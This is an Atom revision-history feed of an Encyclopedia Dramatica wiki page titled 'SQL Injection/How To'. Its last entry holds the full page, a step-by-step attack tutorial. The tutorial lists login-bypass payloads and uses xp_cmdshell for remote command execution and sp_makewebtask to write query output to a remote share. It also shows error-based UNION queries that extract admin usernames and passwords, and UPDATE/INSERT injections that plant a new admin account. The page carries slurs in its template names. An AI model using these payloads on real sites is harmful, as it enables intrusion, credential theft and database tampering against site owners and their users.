&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;hi&amp;#039; or 1=1--&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;hi&amp;#039; or 1=1--&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>imported&gt;NeverEnoughLulz</name></author>
	</entry>
	<entry>
		<id>https://edramatica.com/index.php?title=SQL_Injection/How_To&amp;diff=48040&amp;oldid=prev</id>
		<title>imported&gt;Uberfukken at 23:55, 11 March 2019</title>
		<link rel="alternate" type="text/html" href="https://edramatica.com/index.php?title=SQL_Injection/How_To&amp;diff=48040&amp;oldid=prev"/>
		<updated>2019-03-11T23:55:53Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 23:55, 11 March 2019&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l229&quot;&gt;Line 229:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 229:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;{{SecurityFaggots}}&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;{{SecurityFaggots}}&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-side-deleted&quot;&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;{{softwarez}}&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:Tutorials]]&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:Tutorials]]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:Softwarez]]&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;[[Category:Softwarez]]&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key edwiki-dbw:diff:1.41:old-230182:rev-48040:php=table --&gt;
&lt;/table&gt;</summary>
		<author><name>imported&gt;Uberfukken</name></author>
	</entry>
	<entry>
		<id>https://edramatica.com/index.php?title=SQL_Injection/How_To&amp;diff=230182&amp;oldid=prev</id>
		<title>imported&gt;CrackRabbit at 02:16, 4 March 2014</title>
		<link rel="alternate" type="text/html" href="https://edramatica.com/index.php?title=SQL_Injection/How_To&amp;diff=230182&amp;oldid=prev"/>
		<updated>2014-03-04T02:16:52Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 02:16, 4 March 2014&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;4&quot; class=&quot;diff-notice&quot; lang=&quot;en&quot;&gt;&lt;div class=&quot;mw-diff-empty&quot;&gt;(No difference)&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;!-- diff cache key edwiki-dbw:diff:1.41:old-230181:rev-230182 --&gt;
&lt;/table&gt;</summary>
		<author><name>imported&gt;CrackRabbit</name></author>
	</entry>
	<entry>
		<id>https://edramatica.com/index.php?title=SQL_Injection/How_To&amp;diff=230181&amp;oldid=prev</id>
		<title>imported&gt;CrackRabbit at 02:16, 4 March 2014</title>
		<link rel="alternate" type="text/html" href="https://edramatica.com/index.php?title=SQL_Injection/How_To&amp;diff=230181&amp;oldid=prev"/>
		<updated>2014-03-04T02:16:52Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 02:16, 4 March 2014&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;4&quot; class=&quot;diff-notice&quot; lang=&quot;en&quot;&gt;&lt;div class=&quot;mw-diff-empty&quot;&gt;(No difference)&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;!-- diff cache key edwiki-dbw:diff:1.41:old-230180:rev-230181 --&gt;
&lt;/table&gt;</summary>
		<author><name>imported&gt;CrackRabbit</name></author>
	</entry>
	<entry>
		<id>https://edramatica.com/index.php?title=SQL_Injection/How_To&amp;diff=230180&amp;oldid=prev</id>
		<title>imported&gt;CrackRabbit at 02:16, 4 March 2014</title>
		<link rel="alternate" type="text/html" href="https://edramatica.com/index.php?title=SQL_Injection/How_To&amp;diff=230180&amp;oldid=prev"/>
		<updated>2014-03-04T02:16:52Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 02:16, 4 March 2014&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;4&quot; class=&quot;diff-notice&quot; lang=&quot;en&quot;&gt;&lt;div class=&quot;mw-diff-empty&quot;&gt;(No difference)&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;!-- diff cache key edwiki-dbw:diff:1.41:old-230179:rev-230180 --&gt;
&lt;/table&gt;</summary>
		<author><name>imported&gt;CrackRabbit</name></author>
	</entry>
	<entry>
		<id>https://edramatica.com/index.php?title=SQL_Injection/How_To&amp;diff=230179&amp;oldid=prev</id>
		<title>imported&gt;CrackRabbit at 02:16, 4 March 2014</title>
		<link rel="alternate" type="text/html" href="https://edramatica.com/index.php?title=SQL_Injection/How_To&amp;diff=230179&amp;oldid=prev"/>
		<updated>2014-03-04T02:16:52Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{subpage|SQL Injection}}&lt;br /&gt;
&lt;br /&gt;
{{FactAlert|This is serious shit and has been known to cause drama and IRL [[Banhammer|Ban Hammers]]. Actually doing this might get you [[Partyvan|v&amp;amp;]]. The information on page is provided for educational purposes only.}}&lt;br /&gt;
&lt;br /&gt;
[[Image:Placecathere.jpg|right|thumb|200px|Follow instructions, plzkthx]]&lt;br /&gt;
&lt;br /&gt;
==What do you need==&lt;br /&gt;
&lt;br /&gt;
Any web browser.&lt;br /&gt;
&lt;br /&gt;
==What you should look for==&lt;br /&gt;
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for &amp;quot;FORM&amp;quot; tag in the HTML code. You may find something like this in some HTML codes:&lt;br /&gt;
&amp;lt;FORM action=Search/search.asp method=post&amp;gt;&lt;br /&gt;
&amp;lt;input type=hidden name=A value=C&amp;gt;&lt;br /&gt;
&amp;lt;/FORM&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Everything between the &amp;lt;FORM&amp;gt; and &amp;lt;/FORM&amp;gt; have potential parameters that might be useful (exploit wise).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What If There Are No Input Pages==&lt;br /&gt;
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?id=10&lt;br /&gt;
&lt;br /&gt;
==How Do You Test If It Is Vulnerable?==&lt;br /&gt;
Start with a single quote trick. Input something like:&lt;br /&gt;
&lt;br /&gt;
hi&amp;#039; or 1=1--&lt;br /&gt;
&lt;br /&gt;
Into login, or password, or even in the URL. Example:&lt;br /&gt;
 - Login: hi&amp;#039; or 1=1--&lt;br /&gt;
 - Pass: hi&amp;#039; or 1=1--&lt;br /&gt;
 - http://anonym.to/http://duck/index.asp?id=hi&amp;#039; or 1=1--&lt;br /&gt;
&lt;br /&gt;
If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. No, just kidding. Get [https://addons.mozilla.org/en-US/firefox/addon/1843 firebug] and modify it the easy way.&lt;br /&gt;
&lt;br /&gt;
==But why &amp;#039; or 1=1--?==&lt;br /&gt;
[[Image:Why.jpg|right|thumb|200px|Inquisitive minds must know.]]&lt;br /&gt;
Let us look at another example why &amp;#039; or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?category=food&lt;br /&gt;
&lt;br /&gt;
In the URL, &amp;#039;category&amp;#039; is the variable name, and &amp;#039;food&amp;#039; is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):&lt;br /&gt;
&lt;br /&gt;
v_cat = request(&amp;quot;category&amp;quot;)&lt;br /&gt;
sqlstr=&amp;quot;SELECT * FROM product WHERE PCategory=&amp;#039;&amp;quot; &amp;amp; v_cat &amp;amp; &amp;quot;&amp;#039;&amp;quot;&lt;br /&gt;
set rs=conn.execute(sqlstr)&lt;br /&gt;
&lt;br /&gt;
As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM product WHERE PCategory=&amp;#039;food&amp;#039;&lt;br /&gt;
&lt;br /&gt;
The query should return a resultset containing one or more rows that match the WHERE condition, in this case, &amp;#039;food&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
Now, assume that we change the URL into something like this:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?category=food&amp;#039; or 1=1--&lt;br /&gt;
&lt;br /&gt;
Now, our variable v_cat equals to &amp;quot;food&amp;#039; or 1=1-- &amp;quot;, if we substitute this in the SQL query, we will have:&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM product WHERE PCategory=&amp;#039;food&amp;#039; or 1=1--&amp;#039;&lt;br /&gt;
&lt;br /&gt;
The query now should now select everything from the product table regardless if PCategory is equal to &amp;#039;food&amp;#039; or not. A double dash &amp;quot;--&amp;quot; tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote (&amp;#039;). Sometimes, it may be possible to replace double dash with single hash &amp;quot;#&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try&lt;br /&gt;
&lt;br /&gt;
&amp;#039; or &amp;#039;a&amp;#039;=&amp;#039;a&lt;br /&gt;
&lt;br /&gt;
The SQL query will now become:&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM product WHERE PCategory=&amp;#039;food&amp;#039; or &amp;#039;a&amp;#039;=&amp;#039;a&amp;#039;&lt;br /&gt;
&lt;br /&gt;
It should return the same result.&lt;br /&gt;
&lt;br /&gt;
Depending on the actual SQL query, you may have to try some of these possibilities:&lt;br /&gt;
&lt;br /&gt;
&amp;#039; or 1=1--&lt;br /&gt;
&amp;quot; or 1=1--&lt;br /&gt;
or 1=1--&lt;br /&gt;
&amp;#039; or &amp;#039;a&amp;#039;=&amp;#039;a&lt;br /&gt;
&amp;quot; or &amp;quot;a&amp;quot;=&amp;quot;a&lt;br /&gt;
&amp;#039;) or (&amp;#039;a&amp;#039;=&amp;#039;a&lt;br /&gt;
&lt;br /&gt;
==How Do I Get Remote Execution With SQL Injection?==&lt;br /&gt;
[[Image:Woops.jpg|right|thumb|200px|Eh, still better than AOL tech support.]]&lt;br /&gt;
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:&lt;br /&gt;
&lt;br /&gt;
&amp;#039;; exec master..xp_cmdshell &amp;#039;ping 10.10.1.2&amp;#039;--&lt;br /&gt;
&lt;br /&gt;
Try using double quote (&amp;quot;) if single quote (&amp;#039;) is not working.&lt;br /&gt;
&lt;br /&gt;
The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:&lt;br /&gt;
&lt;br /&gt;
#tcpdump icmp&lt;br /&gt;
&lt;br /&gt;
If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.&lt;br /&gt;
&lt;br /&gt;
How to get output of my SQL query?&lt;br /&gt;
It is possible to use sp_makewebtask to write your query into an HTML:&lt;br /&gt;
&lt;br /&gt;
&amp;#039;; EXEC master..sp_makewebtask &amp;quot;\\10.10.1.3\share\output.html&amp;quot;, &amp;quot;SELECT * FROM INFORMATION_SCHEMA.TABLES&amp;quot;&lt;br /&gt;
&lt;br /&gt;
But the target IP must folder &amp;quot;share&amp;quot; sharing for Everyone.&lt;br /&gt;
&lt;br /&gt;
==How To Get Data From The Database Using ODBC Error Message==&lt;br /&gt;
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?id=10 &lt;br /&gt;
&lt;br /&gt;
We will try to UNION the integer &amp;#039;10&amp;#039; with another string from the database:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--&lt;br /&gt;
&lt;br /&gt;
The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:&lt;br /&gt;
&lt;br /&gt;
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-&lt;br /&gt;
&lt;br /&gt;
This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &amp;#039;80040e07&amp;#039; &lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &amp;#039;table1&amp;#039; to a column of data type int. &lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is &amp;quot;table1&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
To get the next table name, we can use the following query:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (&amp;#039;table1&amp;#039;)--&lt;br /&gt;
&lt;br /&gt;
We also can search for data using LIKE keyword:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE &amp;#039;%25login%25&amp;#039;--&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &amp;#039;80040e07&amp;#039; &lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &amp;#039;admin_login&amp;#039; to a column of data type int. &lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
The matching patent, &amp;#039;%25login%25&amp;#039; will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, &amp;quot;admin_login&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
==How To Mine All Column Names Of A Table==&lt;br /&gt;
[[Image:Megahurtz kitty.jpg|right|thumb|200px|HAX]]&lt;br /&gt;
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&amp;#039;admin_login&amp;#039;--&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &amp;#039;80040e07&amp;#039; &lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &amp;#039;login_id&amp;#039; to a column of data type int. &lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
Now that we have the first column name, we can use NOT IN () to get the next column name:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&amp;#039;admin_login&amp;#039; WHERE COLUMN_NAME NOT IN (&amp;#039;login_id&amp;#039;)--&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &amp;#039;80040e07&amp;#039; &lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &amp;#039;login_name&amp;#039; to a column of data type int. &lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
When we continue further, we obtained the rest of the column name, i.e. &amp;quot;password&amp;quot;, &amp;quot;details&amp;quot;. We know this when we get the following error message:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&amp;#039;admin_login&amp;#039; WHERE COLUMN_NAME NOT IN (&amp;#039;login_id&amp;#039;,&amp;#039;login_name&amp;#039;,&amp;#039;password&amp;#039;,details&amp;#039;)--&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &amp;#039;80040e14&amp;#039; &lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. &lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
==How To Retrieve Any Data We Want==&lt;br /&gt;
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.&lt;br /&gt;
&lt;br /&gt;
Now, let&amp;#039;s get the first login_name from the &amp;quot;admin_login&amp;quot; table:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &amp;#039;80040e07&amp;#039; &lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &amp;#039;neo&amp;#039; to a column of data type int. &lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
We now know there is an admin user with the login name of &amp;quot;neo&amp;quot;. Finally, to get the password of &amp;quot;neo&amp;quot; from the database:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=&amp;#039;neo&amp;#039;--&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &amp;#039;80040e07&amp;#039; &lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &amp;#039;m4trix&amp;#039; to a column of data type int. &lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
We can now login as &amp;quot;neo&amp;quot; with his password &amp;quot;m4trix&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
==How To Get Numeric String Value==&lt;br /&gt;
[[Image:Dr33mcat.jpg|right|thumb|200px|1337 cat!]]&lt;br /&gt;
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of &amp;quot;trinity&amp;quot; which is &amp;quot;[[leet|31173]]&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=&amp;#039;trinity&amp;#039;--&lt;br /&gt;
&lt;br /&gt;
We will probably get a &amp;quot;Page Not Found&amp;quot; error. The reason being, the password &amp;quot;31173&amp;quot; will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.&lt;br /&gt;
&lt;br /&gt;
To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b&amp;#039;%20morpheus&amp;#039;) FROM admin_login where login_name=&amp;#039;trinity&amp;#039;--&lt;br /&gt;
&lt;br /&gt;
We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for &amp;#039;+&amp;#039; = 0x2b). We will append &amp;#039;(space)morpheus&amp;#039; into the actual password. Therefore, even if we have a numeric string &amp;#039;31173&amp;#039;, it will become &amp;#039;31173 morpheus&amp;#039;. By manually calling the convert() function, trying to convert &amp;#039;31173 morpheus&amp;#039; into an integer, SQL Server will throw out ODBC error message:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &amp;#039;80040e07&amp;#039; &lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &amp;#039;31173 morpheus&amp;#039; to a column of data type int. &lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
Now, you can even login as &amp;#039;trinity&amp;#039; with the password &amp;#039;31173&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
==How To Update/Insert Data Into The Database==&lt;br /&gt;
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for &amp;quot;neo&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?id=10; UPDATE &amp;#039;admin_login&amp;#039; SET &amp;#039;password&amp;#039; = &amp;#039;newpas5&amp;#039; WHERE login_name=&amp;#039;neo&amp;#039;--&lt;br /&gt;
&lt;br /&gt;
To INSERT a new record into the database:&lt;br /&gt;
&lt;br /&gt;
http://anonym.to/http://duck/index.asp?id=10; INSERT INTO &amp;#039;admin_login&amp;#039; (&amp;#039;login_id&amp;#039;, &amp;#039;login_name&amp;#039;, &amp;#039;password&amp;#039;, &amp;#039;details&amp;#039;) VALUES (666,&amp;#039;neo2&amp;#039;,&amp;#039;newpas5&amp;#039;,&amp;#039;NA&amp;#039;)--&lt;br /&gt;
&lt;br /&gt;
We can now login as &amp;quot;neo2&amp;quot; with the password of &amp;quot;newpas5&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
{{SecurityFaggots}}&lt;br /&gt;
[[Category:Tutorials]]&lt;br /&gt;
[[Category:Softwarez]]&lt;/div&gt;</summary>
		<author><name>imported&gt;CrackRabbit</name></author>
	</entry>
</feed>